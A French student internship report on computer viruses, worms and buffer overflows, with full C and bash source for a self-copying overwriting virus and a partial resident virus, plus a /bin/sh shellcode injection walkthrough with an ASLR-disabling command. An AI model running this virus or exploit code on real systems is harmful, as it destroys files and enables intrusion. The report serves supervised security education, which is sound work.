Étude et expérimentation des virus et vers informatiques

Rapport de stage

Par Quentin Guardia – L3 Informatique – UPVD
Sous la direction de M. Christophe Negre, enseignant-chercheur

Stage du 19/05/2020 au 16/06/2020

Table des matières

Introduction

Mes cheminements étudiant et personnel ont confirmé mon désir d'investir mes études au profit de la justice et de l'informatique. La cybercriminalité se situe à l'intersection de ces deux intérêts. Ainsi, deux aspects principaux motivent mon entreprise dans la cybercriminalité. D'une part, l'ingénierie se cachant derrière les enjeux sécuritaires informatiques, qui me fascine. D'autre part, l'approche éthique, me tenant tout particulièrement à cœur.

Actuellement en dernière année de licence d'informatique, j'ai pour objectif d'effectuer un stage en entreprise de trois semaines. C'est pour moi l'occasion de vivre une première immersion dans le domaine pour lequel je me prédestine. La période sanitaire étant exceptionnelle, des stages au sein de l'université nous ont été proposés. J'ai eu la chance de pouvoir choisir un sujet concernant les virus et vers informatiques. Sujet sous la responsabilité de Christophe Negre.

Les virus et vers informatiques sont des logiciels malveillants et s'intègrent donc bien dans le cadre de la cybercriminalité. La finalité du stage est d'être en capacité d'appréhender les virus, grâce à des bagages théoriques et pratiques. Ce qui correspond parfaitement à mes attentes.

Objectifs

Comme susmentionné, je devrai, à la fin du stage, comprendre le fonctionnement des vers et virus informatiques. Afin d'y parvenir, plusieurs étapes ont été définies dans le sujet fourni. Je les développerai une à une le long de mon rapport.

D'abord, une partie de mon stage est dédiée à la lecture de documents. Le but est de me faire comprendre des notions importantes sur les logiciels malveillants. Le maître de stage m'a fourni la documentation au rythme de mon avancée.

Puis, une fois les bases acquises, il m'est demandé de développer trois virus avec des propriétés différentes : le premier agissant par écrasement de code, le deuxième par entrelacement et le dernier étant résident. Par la suite, je dois provoquer une intrusion informatique par débordement de tampon.

Ce rapport présente comment je suis parvenu à mettre en œuvre le résultat attendu pour chaque étape et les difficultés que j'ai rencontré.

Documentation sur les logiciels malveillants

Introduction aux virus et vers informatiques

Pour commencer, j'ai eu à lire une partie d'un livre numérisé. Il s'agit des chapitres cinq à huit du livre Les virus informatiques: théorie, pratique et applications d'Eric Filiol. La partie concernée introduit les virus et vers informatique. On y apprend tout d'abord que les virus et vers ne sont qu'une partie des logiciels malveillants, parmi lesquels peuvent figurer les bombes logiques ou encore les chevaux de Troie. Le point commun de tous ces programmes malveillants et qu'ils peuvent provoquer une infection informatique.

Attardons-nous plus particulièrement sur les virus et les vers. L'histoire nous montre que ces derniers ont porté préjudice à des centaines de millions d'utilisateurs aux travers d'infections. Une infection informatique est « un programme simple ou autoreproducteur, à caractère offensif, s'installant dans un système d'information, à l'insu du ou des utilisateurs, en vue de porter atteinte à la confidentialité, l'intégrité ou la disponibilité de ce système, ou susceptible d'incriminer à tort son possesseur ou l'utilisateur dans la réalisation d'un crime ou d'un délit » [1]. En général, la propagation de l'infection par virus se fait grâce à un programme hôte. Il s'agit d'un programme normalement présent sur la machine infectée, à qui a été ajouté un dropper. Une fois le programme hôte en cours, le dropper endort le programme hôte momentanément pour lancer le programme infecté.

Les virus et vers font partie des programmes autoreproducteurs évoqués dans la définition précédente. Le virus cherche des fichiers pour se reproduire, et le vers des failles dans le réseau. Les vers n'ont pas nécessairement besoin de fichiers pour fonctionner. Il est facile d'y voir une

analogie biologique. On peut en effet parler de phase d'incubation ou de virulence.

Les virus bénéficient de plusieurs modes d'action. Parmi lesquels on retrouve les virus par :

- Écrasement. Le virus écrase le code du programme hôte par son propre code. Le poids du fichier hôte peut facilement rester inchangé.
- Ajout de code. Le virus accole son code au début ou à la fin de celui du programme hôte. Le programme hôte n'est pas corrompu.
- Entrelacement. Ici le code est ajouté dans les espaces non-alloués du programme. Les avantages des deux virus précédents sont combinés : le poids du programme hôte peut rester le même et de surcroît il n'est pas corrompu.
- Accompagnement. Le virus duplique le programme hôte et remplace l'original. En s'exécutant, le programme malveillant se lance avant de lancer la copie du programme hôte.
- Virus ou vers de code source. Il duplique son code source pour le recompiler avec le code source du programme hôte.

On peut classer les virus selon plusieurs types, à savoir les virus :

- D'exécutables : ils se propagent de fichier binaire à fichier binaire.
- De documents : ils sont présents dans des fichiers de données non-exécutables, comme un fichier Word.
- De démarrage : situés sur une partition de démarrage, ils se lancent dès le démarrage de l'ordinateur.
- Comportementaux : ils dupent les antivirus par leurs comportements.
- Psychologiques : ils usent d'ingénierie sociale pour porter préjudice à l'utilisateur, en lui demandant une rançon par exemple ou en l'incitant à ouvrir un mail malicieux. C'est aussi le cas des leurres.

Un virus peut se retrouver dans différentes classes. Pour revenir brièvement sur les vers, ils peuvent être considérés comme étant une sous-partie des virus. De même, ils se basent sur des failles informatiques ou humaines. On

parle de faille informatique lorsque cette dernière est due à la faiblesse d'un logiciel ou d'un réseau. Virus et vers ont la faculté de s'hybrider.

En outre, le passage du livre se compose d'une partie sur la lutte virale ainsi que d'une partie plus pratique. Cette dernière détaille entre autres le fonctionnement des virus dont le virus vbashp. J'expliciterai quelques cas particuliers, confer infra.

Bash

Il m'a été conseillé de lire Bash Guide for Beginners de Machtelt Garrels. Comme son nom l'indique, il est question d'un guide de débutant pour le bash. Le bash est l'interpréteur en ligne de commande de type script du système Unix [2]. C'est donc à travers des commandes bash que l'on peut avoir accès aux fonctionnalités du système d'exploitation Unix.

Un exécutable peut être un script avec « sh » pour extension. Dans ce cas, sa première ligne indique l'interpréteur utilisé, « #!/bin/bash » dans notre cas. J'expliquerai chaque script bash autant que nécessaire.

Les vers

J'ai par la suite approfondi la notion de vers grâce au dixième chapitre du livre d'Eric Filiol. Ce chapitre traite des cas pratiques de vers et m'a donné une idée de leur usage.

Le chapitre commence par le ver Internet. Il s'agit d'un ver qui aurait touché près de 6000 ordinateurs en 1988. L'infection s'est propagée grâce à un système de messagerie et les faiblesses qui y étaient présentes.

La première faiblesse concerne celle des mots de passe. La commande *rexec* exécutait un programme via le réseau à condition de connaître les identifiants du destinataire. Le ver Internet testait tous les mots de passe triviaux. La commande *rsh* exécutait, elle, du code à distance sans même avoir besoin d'identifiants. Ainsi le ver Internet exécutait des commandes malveillantes.

La seconde faiblesse concerne la possibilité de débogage de la messagerie. En cas de débogage, le destinataire exécute un programme utilisant le corps du message de l'expéditeur. Le ver Internet avait des commandes de type script dans son corps. Ensuite, le débordement de tampon était exploité. Le programme *finger* renvoie les informations sur l'utilisateur entré en paramètre. Or, il n'y avait pas de vérification quant à la taille de la chaîne en paramètre. Donc en entrant un paramètre plus grand que la taille qui lui est allouée, le paramètre déborde dans d'autres parties de la mémoire. Le ver Internet mettait du code exécutable en paramètre de *finger*. On étudiera cela dans la partie illustrant le principe d'intrusion.

Pour se faire le plus furtif possible, le ver faisait en sorte d'effacer ses traces.

D'autres vers célèbres sont présentés par la suite, tels ISS_Worm ou Xanax.

GDB, assembleur, intrusion par débordement de tampon et injection de shellcode

J'ai pu lire les chapitres 0x200 et 0x300 du livre numérisé Techniques de hacking de Jon Erickson. Le shellcode est un exécutable représenté sous forme d'une chaîne de caractères. Cette notion nous sera utile par la suite. Grâce au chapitre 0x200 j'ai compris les étapes permettant d'obtenir du shellcode à partir d'un simple programme, via GDB et l'assembleur. GDB est un outil de débogage permettant d'analyser un exécutable étape par étape, et l'assembleur est le langage machine. GDB présente l'avantage de désassembler des exécutables pour les décomposer en instructions machine.

J'ai su par quel moyen il est possible d'utiliser le shellcode dans une optique malveillante dans le chapitre 0x300. Il faut procéder par débordement de tampon. On parle de débordement de tampon lorsque le processus écrit en dehors de l'espace qui lui est alloué. On peut tirer profit de cette faille en injectant un shellcode malveillant dans la mémoire, ce qui sera mis en application après les virus.

Programmation de virus

Par écrasement de code

Le premier virus que j'ai développé est un virus par écrasement de code. Il remplace donc le code du fichier cible par le sien. Des consignes plus précises m'ont été imposées. Le virus doit être écrit en C. Son action doit s'étendre récursivement aux sous-répertoires et se limiter aux fichiers exécutables, autres que le fichier infectant. Si le fichier cible a une taille supérieure au fichier infectant, alors une fois infecté l'hôte doit conserver sa taille originale. On traite ici du code *ecrasement.c* disponible en annexe, que j'explique ci-dessous. Ce code est potentiellement nuisible, pour l'exécuter il faut se placer dans un répertoire où aucun fichier ou sous-répertoire n'est sensible.

On inclut d'abord les bibliothèques nécessaires. Dans la fonction *main*, on récupère le nom de l'exécutable donné par *argv[0]* pour le stocker dans la chaîne de caractère *nom_virus*.

On appelle ensuite la fonction *infection*, qui prend en paramètre : la profondeur du répertoire à infecter, le chemin vers ce même répertoire et le nom du fichier infectant pour éviter qu'une erreur ne s'affiche lors de la copie. Dans la fonction infection, la fonction *scandir* analyse le répertoire donné en argument et stocke les informations dans la structure *liste*. L'entier *nombre* correspond au nombre de répertoires trouvés.

On lance une boucle ayant pour chaque itération accès à un répertoire. En vérifie d'abord qu'il ne s'agisse pas du répertoire courant afin de ne pas créer de cycle. Puis si le répertoire est un dossier, alors on appelle à nouveau la fonction *infection* en incrémentant la profondeur de un et en spécifiant le nom du dossier. Cette récursion représente l'imbrication des dossiers. Sinon, si c'est un fichier on vérifie s'il est exécutable. Si c'est le cas, il faut s'assurer qu'il ne s'agisse pas du fichier infectant en question. Ensuite, on concatène une chaîne de caractère donnant une commande du type « cp ../../nom_virus fichier_cible » où le nombre de répétitions de la chaîne « ../ » correspond à la profondeur. Une fois la chaîne concaténée, on l'exécute sous forme de commande grâce à la fonction *strcat()*.

Cependant, je n'ai pas développé la partie permettant de conserver le poids du fichier cible. La fonction *stats()* associe diverses données de la structure

liste pour les stocker dans la structure *sb*. Il faudrait pour cela exploiter la variable *st_size* de la structure *sb*, grâce à la fonction *stats()* [3]. Et *st_size*, stockant la taille du fichier en octets.

Puis on créer une copie temporaire du code à l'identique, avec en plus les parties non commentées ci-dessous, et après la valeur *SIZE* la taille souhaitée du fichier exécutable, soit celle de *st_size* [4] :

```
//Bibliothèques
#define SIZE 100000000

char dummy[SIZE] = {'a'};
//Fonction infection

int main(void){
    dummy[SIZE-1] = '\n';
    if(dummy[0] == 'a')printf("Texte de remplissage");
    //Reste du main
    return 0;
}
```

Et on compile ce nouveau fichier grâce à la fonction *system()* en conservant le nom du fichier cible, avec un argument sous la forme : « gcc fichier_tmp.c -o fichier_cible ». Puis on supprime le fichier temporaire avec *system(« rm fichier_tmp.c ») ;*

Ainsi, le virus par écrasement répondrait bien à toutes les contraintes imposées. Il aurait était intéressant de voir de quelle manière il faut s'y prendre pour créer un virus par ajout de code. Que ce soit un ajout pré ou post programme hôte.

vbashsub.sh

On m'a par la suite invité à programmer un virus en bash. Ce virus a pour but de mélanger les lignes du programme infectant, le *fichier2* à celle du programme hôte, le *fichier1*. On l'exécutera comme suit :

```
./vbashsub.sh fichier1 fichier2
```

Naîtra alors le fichier F3.sh, résultant du mélange. Il faut conserver l'ordre des lignes de chaque fichier dans le nouveau fichier. Pour chaque ligne du programme infectant, il faut laisser un commentaire à la fin indiquant le numéro de la ligne original. Ceci permettra au code de restauration de remettre le code viral dans son état initial pour pouvoir l'exécuter une nouvelle fois.

On parle de polymorphisme dès lors qu'un virus change de forme au cours de l'infection. Afin d'ajouter un polymorphisme à ce virus, on peut faire en sorte que la commande de chaque ligne du programme infectant permute à chaque nouveau fichier infecté.

Je vais analyser le code *vbashsub.sh* présent dans la partie des annexes.

Ici, les deux premières commandes *grep* servent à affecter le nombre de lignes de chaque fichier respectivement aux variable *nombre1* et *nombre2*. On initialise les entiers *iteration1* et *iteration2* à 0, ainsi que les chaînes de caractères *ligne1* et *ligne2*. On crée le fichier F3.sh, qui contiendra le programme hôte infecté. *Fichier1* et *fichier2* étant eux-mêmes des scripts.

Puis on lance une boucle qui s'arrête lorsque *iteration1* n'est plus inférieur à *nombre1* et lorsqu'*iteration2* n'est plus inférieur à *nombre2*. *Iteration1* correspondra in fine au nombre de lignes du code hôte insérée au nouveau fichier, *F3.sh* et *iteration2* au nombre de lignes du code infectant.

La première condition de la boucle est réservée au code infectant. Il y a une chance sur deux pour qu'une nouvelle ligne du code infectant s'insère. Si la chance est saisie et que toute les lignes infectantes n'ont pas été copiées alors on lance les instructions pour ajouter une ligne. Pour ce faire, on commence par incrémenter *iteration2* de un. Ensuite, on récupère la ligne de rang *iteration2* grâce à la commande *sed*. Puis, on stocke dans commande un nom de fichier aléatoire se situant dans */usr/bin* à l'aide de la commande *shuf* [5]. Juste après on supprime les neuf premiers caractères de *commande*, correspondant à */usr/bin* pour garder le nom du fichier seul. On supprime la commande de la ligne du fichier infectant grâce à la commande *sed* [6]. Le nom de la commande correspond en effet au premier mot de la ligne. Puis on affiche sur une nouvelle ligne de *F3.sh* la variable *commande* suivie de la variable *ligne2*. Ce qui affiche en réalité la même instruction que l'originale à la différence près que le nom du programme utilisé a changé.

Entrons dans la deuxième structure conditionnelle. La condition étant de ne pas avoir copié toutes les lignes du code hôte dans *F3.sh*. Si ce n'est pas le cas alors on incrémente *iteration1* et on copie la ligne au rang *iteration1* du fichier hôte dans *F3.sh*, sur une nouvelle ligne.

En définitive, il s'agit du même principe que le virus par entrelacement. Cependant, j'ai rencontré des difficultés lors de l'écriture du code de restauration. Dans le principe, il faut récupérer dans des variables chaque ligne se terminant par un dièse, un arobase et un nombre pour les copier dans un fichier de script vierge.

Toutefois, le fait de remplacer les commandes hasardeusement peut facilement engendrer des erreurs étant donné que chaque commande nécessite une syntaxe spécifique en ce qui concerne les arguments suivants.

Virus résident

Le virus résident est un virus comportemental restant actif tant que la machine n'est pas éteinte. J'ai eu l'occasion d'en développer un en C avec certaines conditions imposées. À intervalle régulier, un processus fils est créé avant que le processus père ne meure. Le processus fils doit changer de nom en prenant aléatoirement celui d'un exécutable du dossier */usr/bin*. Suite à cela, le programme cherche les fichiers avec l'extension .c ayant été modifiés il y a moins d'une heure et contenant une fonction *main*. Cela dans un dossier imposé. Pour les fichiers trouvés, le programme ajoute une fonction malicieuse avant le *main* et insère un appel à la fonction dès la première ligne du main.

Il est ici question du virus *resident.c* en annexes.

La fonction main appelle la fonction *resident()*. Dans cette dernière on scanne le dossier */usr/bin*. Avec le nombre de fichiers présents on pourra choisir au hasard un nom parmi tous ceux disponibles. On lance ensuite une boucle infinie, qui lance un nouveau processus toutes les trois secondes grâce à *fork()* et *sleep()* avant de tuer le processus père. Pour chaque nouveau processus, on pioche aléatoirement un nom de fichier de */usr/bin* et on l'affecte au nom du processus en cours via la fonction *prctl()*. Puis on scanne le chemin au dossier déclaré en variable globale au début du programme. On associe le scan à la structure *sb* pour accéder aux dates de dernière modification. À partir de là on vérifie l'extension du fichier, la date de dernière modification ainsi que la présence d'un *main* ou non. Et ce en appelant trois

fonctions prévues à cet effet. La fonction vérifiant s'il y a un *main* dans le fichier retourne la ligne du *main*, -1 s'il n'y en a pas.

Si toutes les conditions sont vérifiées, alors il faudrait lancer l'infection. Ce que je n'ai pas pu développer. Pour cela, j'ai pensé à écrire des commandes en bash que j'exécuterais avec *system()*. Les commandes bash rempliraient les tâches suivantes : copier dans un fichier temporaire les lignes du fichier hôte jusqu'à la ligne avant le main, ajouter au fichier la fonction malveillante, compléter avec la ligne de déclaration du main, suivie de l'appel de la fonction malveillante et enfin du reste du fichier hôte. Pour terminer, on supprime le fichier hôte et on renomme le fichier temporaire par le nom du fichier hôte.

Intrusion par débordement de tampon avec injection de shellcode

J'ai pu expérimenté l'injection de shellcode. Pour cela, on m'a demandé d'exploiter un débordement de tampon en amont. Le but étant d'injecter le shellcode dans le débordement de tampon. Néanmoins, il y a fort à parier que la taille du shellcode soit supérieure à l'espace disponible dans le débordement de tampon. J'ai donc été amené à enregistrer le shellcode dans une variable d'environnement pour le déployer sans encombre. Voici comment j'ai procédé. J'ai d'abord écrit un programme qui copie une chaîne de caractère en omettant volontairement de vérifier si la variable source peut être plus petite que la variable destination. J'ai compilé avec des options donnant plus de libertés vis-à-vis de la mémoire. J'ai trouvé un code assembleur sur internet que j'ai converti en shellcode. J'ai affecté le shellcode à la variable d'environnement *SHELLCODE*. J'ai récupéré l'adresse de cette dernière. Puis j'ai exécuté le programme vulnérable en veillant à appeler l'adresse de la variable du *SHELLCODE* dans le débordement de tampon en argument.

Programme vulnérable

Voici tout d'abord le code sur lequel nous allons nous baser :

intrusion.c :

```
#include <stdio.h>
#include <string.h>

void fct(char *chaine){
    char tmp[100];
    strcpy(tmp, chaine);
    printf("Affichage %s\n", tmp);
}

int main(int argc, char *argv[]){
    fct(argv[1]);
    return 0;
}
```

On le compile avec les options suivantes : [7]

```
gcc intrusion.c -o intrusion -m32 -fno-stack-protector -z execstack
```

L'option *-m32* n'est pas nécessaire sur les machines en 32bits. Il faut cependant avoir les bibliothèques nécessaires pour compiler avec cette option. Elle sert à obtenir un exécutable en 32bits. *-fno-stack-protector* empêche la protection de la pile. Ce qui nous sera utile compte tenu du maniement que l'on fera des adresses mémoires. Enfin, *-z execstack* autorise la pile à être exécutée, vu que l'on souhaite y injecter du shellcode.

L'ASLR est littéralement la distribution aléatoire de l'espace d'adressage. Allouer les adresses de la pile aléatoirement nous rendra la tâche bien plus difficile. On peut désactiver l'ASLR par [8] :

```
echo "0" | sudo dd of=/proc/sys/kernel/randomize_va_space
```

Il suffit d'entrer la même commande avec 2 à la place de 0 pour réactiver l'ASLR.

Débordement de tampon

Penchons-nous maintenant sur les vulnérabilités de l'exécutable *intrusion*. On sait du code source que la fonction *strcpy*, qui copie le contenu de *chaine* vers *tmp*, ne vérifie pas la taille de la chaîne *chaine* alors que *tmp* ne peut contenir que 100 caractères. Ainsi il peut y avoir un débordement de tampon.

GDB offre la possibilité de désassembler un programme fonction par fonction, c'est-à-dire d'afficher les instructions machine de chaque fonction.

```
gdb -q intrusion
disass fct
```

Voici le résultat pour la fonction *fct* affiché par la commande précédente :

```
Dump of assembler code for function fct:
   0x0000054d <+0>:   push   %ebp
   0x0000054e <+1>:   mov    %esp,%ebp
   0x00000550 <+3>:   push   %ebx
   0x00000551 <+4>:   sub    $0x74,%esp
   0x00000554 <+7>:   call   0x450 <__x86.get_pc_thunk.bx>
   0x00000559 <+12>:  add    $0x1a7b,%ebx
   0x0000055f <+18>:  sub    $0x8,%esp
   0x00000562 <+21>:  pushl  0x8(%ebp)
   0x00000565 <+24>:  lea    -0x6c(%ebp),%eax
   0x00000568 <+27>:  push   %eax
   0x00000569 <+28>:  call   0x3e0 <strcpy@plt>
   0x0000056e <+33>:  add    $0x10,%esp
   0x00000571 <+36>:  sub    $0x8,%esp
   0x00000574 <+39>:  lea    -0x6c(%ebp),%eax
   0x00000577 <+42>:  push   %eax
   0x00000578 <+43>:  lea    -0x1984(%ebx),%eax
   0x0000057e <+49>:  push   %eax
   0x0000057f <+50>:  call   0x3d0 <printf@plt>
   0x00000584 <+55>:  add    $0x10,%esp
   0x00000587 <+58>:  nop
   0x00000588 <+59>:  mov    -0x4(%ebp),%ebx
   0x0000058b <+62>:  leave
```

La faille est observable grâce à 0x6c(%ebp). En effet, *ebp* indique le début de la pile et 0x6c vaut 108 en hexadécimal, ce qui veut dire que 108 bytes sont alloués pour *tmp* qui ne peut accueillir que 100 caractères. On sait qu'il faut 1 byte pour allouer un caractère. Il y a donc 8 bytes pour faire déborder *tmp*, en théorie.

Obtention du shellcode

Voici ci-dessous un code assembleur trouvé sur le site zestedesavoir.com, que j'ai pu récupérer afin de me procurer le shellcode à injecter. Le

programme exécute la commande *sys_execve(« /bin/sh », NULL,NULL)* [9]. Il s'agit du fichier *shellcode.nasm* :

```
bits 32

shellcode:
    ; On réinitialise les registres
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

    ; Appel système 11
    mov al, 11

    ; ebx doit contenir un pointeur vers //bin/sh
    ; donc on construit la chaîne sur la pile

    push ebx ; ebx = 0, donc on a notre null-byte
    push `n/sh`
    push `//bi`

    ; A ce moment là, esp pointe sur `//bin/sh\0`
    mov ebx, esp ; on met dans ebx l'adresse de notre chaîne.

    ; ecx et edx valent déjà zéro (NULL)
    ; donc nous sommes tranquilles :)

    ; On exécute l'appel système
    int 0x80

    ; Et on quitte proprement
    ; (cf. shellcode Hello World)
    mov al, 1
    xor ebx, ebx
    int 0x80
```

On assemble le code grâce à la commande :

```
nasm -f elf shellcode.nasm
```

Ce qui offre le fichier objet *shellcode.o*, que l'on analyse avec objdump, qui désassemble comme GDB, avec des informations complémentaires sur les bytes :

```
objdump -d -M intel shellcode.o
```

Ce qui donne :

```
00000000 <shellcode>:
   0:   31 c0                   xor    eax,eax
   2:   31 db                   xor    ebx,ebx
   4:   31 c9                   xor    ecx,ecx
   6:   31 d2                   xor    edx,edx
   8:   b0 0b                   mov    al,0xb
   a:   53                      push   ebx
   b:   68 6e 2f 73 68          push   0x68732f6e
  10:   68 2f 2f 62 69          push   0x69622f2f
  15:   89 e3                   mov    ebx,esp
  17:   cd 80                   int    0x80
  19:   b0 01                   mov    al,0x1
  1b:   31 db                   xor    ebx,ebx
  1d:   cd 80                   int    0x80
```

Pour obtenir le shellcode, il faut s'appuyer sur les bytes contenus dans la deuxième colonne. On a alors :

```
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x0b\x53\x68\x6e\x2f\x73\x68\x68\x2f\
x2f\x62\x69\x89\xe3\xcd\x80\xb0\x01\x31\xdb\xcd\x80
```

Injection du shellcode

On enregistre la variable d'environnement SHELLCODE en lui assignant le shellcode.

```
export SHELLCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\
x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
```

On sait qu'il y a huit bytes de d'overflow sur 108 bytes de mémoire pour la variable vulnérable.

Cependant, on ne connaît pas l'emplacement mémoire de la variable SHELLCODE. On peut la connaître grâce au programme suivant :

```
#include <unistd.h>
#include <stdio.h>

int main (void){
	printf("Adresse de SHELLCODE: 0x%lx\n", getenv("SHELLCODE"));
	return 0;
}
```

Qui, en étant compilé et exécuté, donne :

```
Adresse de SHELLCODE: 0xffffe9df
```

En shellcode, on peut l'appeler en inversant l'ordre de l'adresse :

```
\xdf\xe9\xff\xff
```

Ce qui prend 4 bytes. Sachant qu'il y a 108 bytes, de 0 à 107 et que le shellcode prend 4 bytes, alors on peut saturer les 103 premiers bytes.

```
./intrusion $(python -c 'print "A"*103 + "\xdf\xe9\xff\xff"')
```

Il n'y a pas d'erreur de segmentation, comme en atteste la sortie standard :

```
Affichage
AAAA
```

être humaines ou informatiques. Pour le cas particulier des vers, l'infection se propage à travers les réseaux.

On peut réaliser une intrusion dans un système grâce au débordement de tampon. Pour exploiter le débordement de tampon, on peut injecter un code qui exécute des instructions machines : le shellcode.

Les codes que j'ai écrits sont améliorables bien qu'ils répondent pour la plupart aux consignes. La mise en pratique m'a obligé à saisir le fonctionnement des virus. Je n'ai cependant pas eu l'occasion de développer de programmes engendrant une infection sur les réseaux. Cela implique probablement plus de pratique.

Conclusion

Malgré quelques difficultés rencontrées lors du développement de certains virus, le stage m'a été très didactique. J'ai eu un premier aperçu du monde de la cybersécurité. Au vu de la durée du stage et de ce que j'ai appris, je me rends compte que je n'ai vu que la partie émergée de l'iceberg. La sécurité est un vaste domaine. C'est un enjeu dont l'importance est croissante dans notre société. Le stage a attisé mon intérêt pour la sécurité. La réflexion, l'aspect ludique, le génie informatique et la démarche éthique me séduisent. Ainsi, je me suis rendu compte que j'aimerais approfondir ces connaissances lors de mes études, ce qui confirme mon désir de projet professionnel.

Annexes

ecrasement.c :

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <string.h>
#include <sys/types.h>
```

```
#include <sys/stat.h>

void infection(int profondeur, char chemin[64], char virus[64]){
	struct dirent **liste;
	struct stat sb;
	int nombre=scandir(chemin,&liste,0,alphasort);

	for(int j=0;j<nombre;j++){
		if(liste[j]->d_name[0]!='.'){
			if(liste[j]->d_type==4){
				infection(profondeur+1, liste[j]->d_name, virus);
			}else if ((stat(liste[j]->d_name, &sb) >= 0) && (sb.st_mode > 0) &&
(S_IEXEC & sb.st_mode)){
				if(profondeur==0 && strcmp(virus,liste[j]->d_name) || profondeur!=0){
					char commande[128]="cp ";
					int i=0;
					while(i<profondeur){
						i++;
						strcat(commande, "../");
					}
					strcat(commande,"a.out ");
					strcat(commande, liste[j]->d_name);
					system(commande);
				}
			}
		}
	}
}

int main (int argc, char *argv[]){
	char nom_virus[64];
	memcpy(nom_virus, argv[0]+2,64);
	infection(0,".",nom_virus);
	return 0;
}
```

vbashsub.sh

```
#!/bin/bash
# fichier hote=$1 et virus=$2

nombre1=$(grep "" -c $1)
nombre2=$(grep "" -c $2)

iteration1=0
iteration2=0
ligne1="fichier1"
ligne2="fichier2"

touch F3.sh

while (("$iteration1" < "$nombre1")) || (("$iteration2" < "$nombre2"));
```

```
do

        if [ $(( $RANDOM % 2 )) == 1 ] && (("$iteration2" < "$nombre2"))
        then
                iteration2=$[iteration2+1]
                ligne2=$(sed "${iteration2}q;d" $2)
                commande=$(shuf -n1 -e /usr/bin/*)
                commande="${commande:9}"
                ligne2=$(echo $ligne2  | sed -e 's/^\w*\ *//')
                echo "$commande $ligne2 #@$iteration2">> F3.sh
        fi
        if (("$iteration1" < "$nombre1"))
        then
                iteration1=$[iteration1+1]
                ligne1=$(sed "${iteration1}q;d" $1)
                echo $ligne1 >> F3.sh
        fi
done
```

resident.c

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/types.h>
#include <signal.h>
#include <dirent.h>
#include <string.h>
#include <sys/stat.h>
#include <time.h>
#include <math.h>

char chemin[64]="/home/$USER"; //arbitraire

_Bool extension(char fichier[256]){
        int longueur=strlen(fichier);
        if(longueur > 2){
                if(fichier[longueur-1]=='c' && fichier[longueur-1]=='.')
                        return 1;
        }
        return 0;
}

_Bool date_edition(time_t modif){
        time_t now = time(NULL);
        struct tm *date1=localtime(&now);
        struct tm *date2=localtime(&modif);
```

```
	if(abs(difftime(mktime(date1), mktime(date2)))<3600)
		return 1;
	return 0;
}

int contient_main(char fichier[256]){
	char *cible;
	strcat(cible,chemin);
	strcpy(cible,"/");
	strcpy(cible,fichier);
	_Bool infile = 0;
	char *line = NULL;
	size_t  len = 0;
	ssize_t read;
	FILE *fp = fopen(cible, "r");
	int i=0;

	while ((read = getline(&line, &len, fp)) != -1) {
		i++;
		line[strcspn(line, "\n")] = 0;
		if (strstr(line, "int main") != NULL) {
			infile = 1;
			break;
		}
	}
	fclose(fp);

	if (line)
		free(line);
	if(infile)
		return i;
	return -1;
}

void resident(){
	int i=1,nb,nb2;
	struct dirent **liste;
	int nombre=scandir("/usr/bin",&liste,0,alphasort);
	char nom_prgm[64];
	while(i>0){
		sleep(1);
		fflush(stdout);
		i++;
		if(i%3==0){
			if(fork()!=0)
				kill(getpid(),SIGKILL);
			nb=rand()%nombre;
			strcpy(nom_prgm,liste[nb]->d_name);
```

```
                        strcat(nom_prgm,"2");
                        printf("Nom nouveau programme: %s\n",nom_prgm);
                        prctl(PR_SET_NAME, nom_prgm, NULL, NULL, NULL);

                        struct dirent **liste2;
                        struct stat sb;
                        int nb2=scandir(chemin,&liste2,0,alphasort);
                        for(int j=0;j<nb2;j++){
                                stat(liste2[j]->d_name, &sb);
                                if(extension(liste2[j]->d_name) && date_edition(sb.st_ctime) &&
contient_main(liste2[j]->d_name)!=-1){
                                //En bash:
                                //Ajouter fonction infectée avant la ligne contient_main(liste2[j]-
>d_name)
                                //Ajouter appel de la fonction à la ligne contient_main(liste2[j]-
>d_name)+1

                                }
                        }
                }
        }
}

int main (void){
        resident();
        return 0;
}
```

Bibliographie et sitographie

[1] Page 111 du livre Les virus informatiques: théorie, pratique et applications d'Eric Filiol (2009)

[2] « Bash », page Wikipédia, disponible sur https://fr.wikipedia.org/wiki/Bourne-Again_shell

[3] « STATS », page de manuel Linux, en 2007, disponible sur http://manpagesfr.free.fr/man/man2/stat.2.html

[4] « Increase binary executable size », forum Stackoverflow, en 2017, disponible sur https://stackoverflow.com/questions/43520681/increase-binary-executable-size/43521177

[5] « How can I select random files from a directory in bash », forum Stackoverflow, en 2009, disponible sur https://stackoverflow.com/questions/414164/how-can-i-select-random-files-from-a-directory-in-bash

[6] « Remove first word in text stream », forum Stackoverflow, en 2002, disponible sur https://stackoverflow.com/questions/7814205/remove-first-word-in-text-stream

[7] et [8] « Shellcode injection », blog de Dhaval Kapil, en 2015, disponible sur https://dhavalkapil.com/blogs/Shellcode-Injection/

[9] « Écrivez votre premier shellcode en asm x86 », Zeste de savoir, en 2017, disponible sur https://zestedesavoir.com/articles/158/ecrivez-votre-premier-shellcode-en-asm-x86/